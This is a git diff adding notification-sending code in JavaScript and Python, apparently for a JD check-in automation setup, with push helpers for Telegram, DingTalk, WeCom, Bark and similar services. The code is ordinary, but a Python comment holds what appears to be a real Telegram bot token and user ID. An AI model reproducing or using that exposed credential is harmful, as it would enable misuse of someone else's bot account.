`title=${encodeURIComponent(text)}&message=${encodeURIComponent(desp)}&priority=${GOTIFY_PRIORITY}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('gotify发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.id) { + console.log('gotify发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function gobotNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (GOBOT_URL) { + const options = { + url: `${GOBOT_URL}?access_token=${GOBOT_TOKEN}&${GOBOT_QQ}`, + json: { + message: `${text}\n${desp}` + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送go-cqhttp通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.retcode === 0) { + console.log('go-cqhttp发送通知消息成功🎉\n'); + } else if (data.retcode === 100) { + console.log(`go-cqhttp发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`go-cqhttp发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function serverNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('server酱发送通知消息成功🎉\n'); + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function BarkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent( + desp + )}?sound=${BARK_SOUND}&group=${BARK_GROUP}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function tgBotNotify(text, desp) { + return new Promise(resolve => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + json: { + chat_id: `${TG_USER_ID}`, + text: `${text}\n\n${desp}`, + disable_web_page_preview:true, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout + } + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH + } + }) + } + Object.assign(options, {agent}) + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉\n') + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n') + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n') + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + resolve() + } + }) +} + +function ddBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function qywxBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function buildLastDesp(desp, author = '') { + author = process.env.NOTIFY_AUTHOR || author; + if (process.env.NOTIFY_AUTHOR_BLANK || !author) { + return desp.trim(); + } else { + if (!author.match(/本通知 By/)) { + author = `\n\n本通知 By ${author}` + } + return desp.trim() + author + "\n通知时间: " + GetDateTime(new Date()); + } +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split('|'); + let userId = ''; + for (let i = 0; i < userIdTmp.length; i++) { + const count = '账号' + (i + 1); + const count2 = '签到号 ' + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) + userId = QYWX_AM_AY[2]; + return userId; + } else { + return '@all'; + } +} + +function qywxamNotify(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, '
'); + html = `${html}`; + if (strsummary == "") { + strsummary = desp; + } + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${strsummary}`, + url: 'https://github.com/whyour/qinglong', + btntxt: '更多', + }, + }; + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [{ + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${strsummary}`, + }, ], + }, + }; + } + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options, + }, + headers: { + 'Content-Type': 'application/json', + }, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); + } else { + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp('^[a-zA-Z0-9]{24}$'); + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n'); + resolve(); + return; + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + if (typeof data === 'string') + data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n'); + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function pushPlusNotifyhxtrip(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN_hxtrip) { + //desp = `${desp}`; + + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN_hxtrip}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER_hxtrip}`, + }; + const options = { + url: `http://pushplus.hxtrip.com/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + if (data.indexOf("200") > -1) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败:${data}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushPlusNotify(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN) { + + //desp = `${desp}`; + + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}`, + }; + const options = { + url: `https://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function wxpusherNotifyByOne(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (WP_APP_TOKEN_ONE) { + var WPURL = ""; + if (strsummary) { + strsummary = text + "\n" + strsummary; + } else { + strsummary = text + "\n" + desp; + } + + if (strsummary.length > 96) { + strsummary = strsummary.substring(0, 95) + "..."; + } + let uids = []; + for (let i of WP_UIDS_ONE.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + + //desp = `${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + desp = `
+
+
+

+ ${text} +

+
+
+
+
+

+ 📢 +

+
+
+
+
+
+

+ ${desp} +

+
+
+
`; + + const body = { + appToken: `${WP_APP_TOKEN_ONE}`, + content: `${desp}`, + summary: `${strsummary}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WPURL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wxpusherNotify(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN) { + let uids = []; + for (let i of WP_UIDS.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + for (let i of WP_TOPICIDS.split(";")) { + if (i.length != 0) + topicIds.push(i); + }; + desp = `${text}\n\n${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + appToken: `${WP_APP_TOKEN}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WP_URL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +function GetnickName() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} + +function GetnickName2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + $.isLogin = false; //cookie过期 + return; + } + const userInfo = data.user; + if (userInfo) { + $.nickName = userInfo.petName; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +module.exports = { + sendNotify, + sendNotifybyWxPucher, + BARK_PUSH, +}; + +// prettier-ignore +function Env(t, s) { + return new(class { + constructor(t, s) { + (this.name = t), + (this.data = null), + (this.dataFile = 'box.dat'), + (this.logs = []), + (this.logSeparator = '\n'), + (this.startTime = new Date().getTime()), + Object.assign(this, s), + this.log('', `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return 'undefined' != typeof module && !!module.exports; + } + isQuanX() { + return 'undefined' != typeof $task; + } + isSurge() { + return 'undefined' != typeof $httpClient && 'undefined' == typeof $loon; + } + isLoon() { + return 'undefined' != typeof $loon; + } + getScript(t) { + return new Promise((s) => { + $.get({ + url: t + }, (t, e, i) => s(i)); + }); + } + runScript(t, s) { + return new Promise((e) => { + let i = this.getdata('@chavy_boxjs_userCfgs.httpapi'); + i = i ? i.replace(/\n/g, '').trim() : i; + let o = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout'); + (o = o ? 1 * o : 20), + (o = s && s.timeout ? s.timeout : o); + const[h, a] = i.split('@'), + r = { + url: `http://${a}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: 'cron', + timeout: o + }, + headers: { + 'X-Key': h, + Accept: '*/*' + }, + }; + $.post(r, (t, s, i) => e(i)); + }).catch((t) => this.logErr(t)); + } + loaddata() { + if (!this.isNode()) + return {}; { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) + return {}; { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + o = JSON.stringify(this.data); + e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, '.$1').split('.'); + let o = t; + for (const t of i) + if (((o = Object(o)[t]), void 0 === o)) + return e; + return o; + } + lodash_set(t, s, e) { + return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => (Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {})), t)[s[s.length - 1]] = e), t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const[, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + o = e ? this.getval(e) : ''; + if (o) + try { + const t = JSON.parse(o); + s = t ? this.lodash_get(t, i, '') : s; + } catch (t) { + s = ''; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const[, i, o] = /^@(.*?)\.(.*?)$/.exec(s), + h = this.getval(i), + a = i ? ('null' === h ? null : h || '{}') : '{}'; + try { + const s = JSON.parse(a); + this.lodash_set(s, o, t), + (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const h = {}; + this.lodash_set(h, o, t), + (e = this.setval(JSON.stringify(h), i)); + } + } else + e = $.setval(t, s); + return e; + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null; + } + setval(t, s) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null; + } + initGotEnv(t) { + (this.got = this.got ? this.got : require('got')), + (this.cktough = this.cktough ? this.cktough : require('tough-cookie')), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)); + } + get(t, s = () => {}) { + t.headers && (delete t.headers['Content-Type'], delete t.headers['Content-Length']), + this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }) : this.isQuanX() ? $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on('redirect', (t, s) => { + try { + const e = t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(e, null), + (s.cookieJar = this.ckjar); + } catch (t) { + this.logErr(t); + } + }).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t))); + } + post(t, s = () => {}) { + if ((t.body && t.headers && !t.headers['Content-Type'] && (t.headers['Content-Type'] = 'application/x-www-form-urlencoded'), delete t.headers['Content-Length'], this.isSurge() || this.isLoon())) + $httpClient.post(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }); + else if (this.isQuanX()) + (t.method = 'POST'), $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: e, + ...i + } = t; + this.got.post(e, i).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + } + } + time(t) { + let s = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length))); + for (let e in s) + new RegExp('(' + e + ')').test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ('00' + s[e]).substr(('' + s[e]).length))); + return t; + } + msg(s = t, e = '', i = '', o) { + const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : 'string' == typeof t ? this.isLoon() ? t : this.isQuanX() ? { + 'open-url': t + } + : void 0 : 'object' == typeof t && (t['open-url'] || t['media-url']) ? this.isLoon() ? t['open-url'] : this.isQuanX() ? t : void 0 : void 0; + $.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), + this.logs.push('', '==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============='), + this.logs.push(s), + e && this.logs.push(e), + i && this.logs.push(i); + } + log(...t) { + t.length > 0 ? (this.logs = [...this.logs, ...t]) : console.log(this.logs.join(this.logSeparator)); + } + logErr(t, s) { + const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e ? $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log('', `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + })(t, s); +} diff --git a/sendNotify.py b/sendNotify.py new file mode 100644 index 0000000..56d6aa5 --- /dev/null +++ b/sendNotify.py @@ -0,0 +1,429 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ + +#Modify: Kirin + +import sys +import os, re +import requests +import json +import time +import hmac +import hashlib +import base64 +import urllib.parse +from requests.adapters import HTTPAdapter +from urllib3.util import Retry + +cur_path = os.path.abspath(os.path.dirname(__file__)) +root_path = os.path.split(cur_path)[0] +sys.path.append(root_path) + +# 通知服务 +BARK = '' # bark服务,自行搜索; secrets可填; +BARK_PUSH='' # bark自建服务器,要填完整链接,结尾的/不要 +SCKEY = '' # Server酱的SCKEY; secrets可填 +TG_BOT_TOKEN = '' # tg机器人的TG_BOT_TOKEN; secrets可填1407203283:AAG9rt-6RDaaX0HBLZQq0laNOh898iFYaRQ +TG_USER_ID = '' # tg机器人的TG_USER_ID; secrets可填 1434078534 +TG_API_HOST='' # tg 代理api +TG_PROXY_IP = '' # tg机器人的TG_PROXY_IP; secrets可填 +TG_PROXY_PORT = '' # tg机器人的TG_PROXY_PORT; secrets可填 +DD_BOT_ACCESS_TOKEN = '' # 钉钉机器人的DD_BOT_ACCESS_TOKEN; secrets可填 +DD_BOT_SECRET = '' # 钉钉机器人的DD_BOT_SECRET; secrets可填 +QQ_SKEY = '' # qq机器人的QQ_SKEY; secrets可填 +QQ_MODE = '' # qq机器人的QQ_MODE; secrets可填 +QYWX_AM = '' # 企业微信 +QYWX_KEY = '' # 企业微信BOT +PUSH_PLUS_TOKEN = '' # 微信推送Plus+ + +notify_mode = [] + +message_info = '''''' + +# GitHub action运行需要填写对应的secrets +if "BARK" in os.environ and os.environ["BARK"]: + BARK = os.environ["BARK"] +if "BARK_PUSH" in os.environ and os.environ["BARK_PUSH"]: + BARK_PUSH = os.environ["BARK_PUSH"] +if "SCKEY" in os.environ and os.environ["SCKEY"]: + SCKEY = os.environ["SCKEY"] +if "TG_BOT_TOKEN" in os.environ and os.environ["TG_BOT_TOKEN"] and "TG_USER_ID" in os.environ and os.environ["TG_USER_ID"]: + TG_BOT_TOKEN = os.environ["TG_BOT_TOKEN"] + TG_USER_ID = os.environ["TG_USER_ID"] +if "TG_API_HOST" in os.environ and os.environ["TG_API_HOST"]: + TG_API_HOST = os.environ["TG_API_HOST"] +if "DD_BOT_ACCESS_TOKEN" in os.environ and os.environ["DD_BOT_ACCESS_TOKEN"] and "DD_BOT_SECRET" in os.environ and os.environ["DD_BOT_SECRET"]: + DD_BOT_ACCESS_TOKEN = os.environ["DD_BOT_ACCESS_TOKEN"] + DD_BOT_SECRET = os.environ["DD_BOT_SECRET"] +if "QQ_SKEY" in os.environ and os.environ["QQ_SKEY"] and "QQ_MODE" in os.environ and os.environ["QQ_MODE"]: + QQ_SKEY = os.environ["QQ_SKEY"] + QQ_MODE = os.environ["QQ_MODE"] +# 获取pushplus+ PUSH_PLUS_TOKEN +if "PUSH_PLUS_TOKEN" in os.environ: + if len(os.environ["PUSH_PLUS_TOKEN"]) > 1: + PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"] + # print("已获取并使用Env环境 PUSH_PLUS_TOKEN") +# 获取企业微信应用推送 QYWX_AM +if "QYWX_AM" in os.environ: + if len(os.environ["QYWX_AM"]) > 1: + QYWX_AM = os.environ["QYWX_AM"] + + +if "QYWX_KEY" in os.environ: + if len(os.environ["QYWX_KEY"]) > 1: + QYWX_KEY = os.environ["QYWX_KEY"] + # print("已获取并使用Env环境 QYWX_AM") + +if BARK: + notify_mode.append('bark') + # print("BARK 推送打开") +if BARK_PUSH: + notify_mode.append('bark') + # print("BARK 推送打开") +if 